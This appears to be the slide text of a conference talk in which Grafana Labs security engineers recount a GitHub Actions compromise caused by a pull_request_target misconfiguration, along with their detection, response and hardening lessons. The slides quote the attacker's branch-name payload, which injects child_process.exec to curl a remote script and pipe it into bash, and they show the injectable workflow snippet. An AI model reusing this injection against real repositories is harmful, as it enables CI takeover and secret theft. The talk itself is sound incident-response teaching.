

GrafanaCON '26

Lessons from that security incident when everything went wrong (but ended up right)

Nick Moore

Principal Security Engineer
Grafana Labs

David Andersson


Director Security Engineering
Grafana Labs

Nick Moore

Nick Moore

Principal Security Engineer

Grafana Detection & Response Engineering (DRE)



When he isn't hunting threat actors, Nick likes to run up and down mountains

David Andersson

David Andersson

Director of Security Engineering



In between meetings and enabling secure builds and principles, David enjoys music and musical theatre. He can be found both as audience member and on stage, when time allows!



Saturday morning

A normal weekend

A single alert fires, notifying some eagle-eyed security team members



Complete CI/CD compromise

All of Grafana's GitHub secrets had been exfiltrated

No customer impact

Conclusively showed no successful use of our secrets



What went wrong?

The subtle trap: `pull_request` vs `pull_request_target`

`pull_request`



`pull_request_target`



How?

One small change

A small change for Grafana,

A giant opportunity for hackers!

```
script: |
  await github.rest.actions.createWorkflowDispatch({
    owner: 'grafana',
    repo: 'security-patch-actions',
    workflow_id: 'test-patches-event.yml',
    ref: 'main',
    inputs: {
      src_repo: "${{ github.repository }}",
      src_ref: "${{ github.head_ref }}",
      src_merge_sha: "${{ github.sha }}",
      src_pr_commit_sha: "${{ github.event.pull_request.head.sha }}",
      patch_repo: "${{ github.repository }}-security-patches",
      patch_ref: "${{ github.base_ref }}",
      triggering_github_handle: "${{ github.event.sender.login }}"
    }
  })
```

1 file changed +1 -2 lines changed

.github/workflows/pr-patch-check

@@ -3,7 +3,7 @@

3 name: Dispatch check for patch

4 run-name: dispatch-check-patch

github.head_ref }}

5 on:

6 - pull_request:

7 types:

8 - opened

9 - reopened

@@ -26,7 +26,6 @@ jobs:

26 # App needs Actions: Read/Write for the grafana/security-

patch-actions repo

27 app_id: \${{ secrets.GRAFANA_DELIVERY_BOT_APP_ID }}

28 private_key: \${{ secrets.GRAFANA_DELIVERY_BOT_APP_PEM }}

29 -

30 - name: "Dispatch job"

31 uses: actions/github-script@v7

32 with:

26 # App needs Actions: Read/Write for the grafana/security-

patch-actions repo

27 app_id: \${{ secrets.GRAFANA_DELIVERY_BOT_APP_ID }}

28 private_key: \${{ secrets.GRAFANA_DELIVERY_BOT_APP_PEM }}

29 - name: "Dispatch job"

30 uses: actions/github-script@v7

31 with:



```
script: |
  await github.rest.actions.createWorkflowDispatch({
    owner: 'grafana',
    repo: 'security-patch-actions',
    workflow_id: 'test-patches-event.yml',
    ref: 'main',
    inputs: {
      src_repo: "${{ github.repository }}",
      src_ref: "${{ github.head_ref }}",
      src_merge_sha: "${{ github.sha }}",
      src_pr_commit_sha: "${{ github.event.pull_request.head.sha }}",
      patch_repo: "${{ github.repository }}-security-patches",
      patch_ref: "${{ github.base_ref }}",
      triggering_github_handle: "${{ github.event.sender.login }}"
    }
  })
```

Key to the door

grafana / grafana

<> Code Issues 3.2k Pull requests 698 Discussions Actions Projects Security and quality 213 Insights Settings

← Dispatch check for patch conflicts

✓ dispatch-check-patch-conflicts-main-a"+require('child_process').exec('curl\${IFS}-sSfL\${IFS}gist.githubusercontent.com/Mj3a7fpZPsyQFmozH/23c496e7597ed796ae6ffe94656d7963/raw/run.sh\${IFS}|\${IFS}bash')+ "b #1219

Summary

All jobs

✓ dispatch-job

Run details

Usage

Workflow file

The logs for this run have expired and are no longer available.



**ANY SCRIPT IN YOUR WORKFLOW
WHEN IT SEES \$GITHUB_TOKEN AND ENV VARS**

It's Free

VAULT

**AFTER THE ATTACKER REALIZES THEY NEED A VALID
OIDC TOKEN AND THE CORRECT APPROLE TO SEE A SINGLE STRING**



The Attack Timeline

2025-04-25
16:40 UTC



2025-04-25
17:52 UTC
(Zero Hour)

2025-04-26
01:05 UTC
(~+7h 15m)

2025-04-26
04:30 UTC
(~+10h 40m)

2025-04-26
06:15 UTC
(~+12h 25m)





Grafana IRM



Incident response tooling, built directly into Grafana Cloud

Received initial alert and alerted responders

Provided a centralized location for incident discussion, analysis, and announcements



Grafana Loki



Ingest huge volumes of logs, great for detailed sources like GitHub Actions

Supports powerful, complex queries, allowing us to precisely identify relevant log entries

Combined with Grafana Alerting, gives us fast response to future events of concern



Zizmor




Static analysis for GitHub Action workflows

Identifies relevant risks, prioritized by impact and likelihood of exploitability

Now includes automated resolution suggestions thanks to contributions from our team!



Trufflehog



Open Source

Verified / Unverified

Tries authentication using the secret

Follows the normal flow



Gato-X



Open source suite of GHA attack tools

The solution used by our attacker!

Want to make sure we can't be attacked with it again? Use it ourselves to be sure!



How?

Canary Tokens



Permission-less tokens for empty AWS projects,
alerting the security team when they are used

Makes hackers think twice about any credential they
come across - the hunter becomes the hunted!

Trufflehog validation post-exfiltration triggered our
response*



The Response Timeline



2025-04-26

04:30

Attack event

2025-04-26

06:15

Canary token
fires

2025-04-26

08:00

Incident
declared

2025-04-26

11:00

Logs
validation

2025-04-26

11:00-23:30


Token
rotation

AdnaneKhan's




GATO-X





What went right?



- Preparation beats reaction: canaries, static analysis, secret hygiene
- Observability isn't just for production — your CI/CD pipeline needs it too
- Open source tools and open collaboration are a security advantage, not just an engineering one
- You get to write "no customer impact" when you've done the work beforehand



Lessons learned

I use short-lived Vault tokens, mandatory static analysis...



...and my OnCall is currently being woken up by a Canary alert because you touched a fake secret.



Oh no, a workflow leak might expose my long-lived PATs.

Moved **all** our CI/CD secrets from GitHub secrets to Vault

Implemented mandatory Zizmor and Trufflehog scans

Broadened canary token coverage in GitHub and ensured alerts will wake our OnCall 🙄🤔

Reduced the access scope of widely used GitHub Apps, eliminating catch-all accesses

User education around GitHub workflow vulnerabilities



Oops, we did it again...



Thank you!

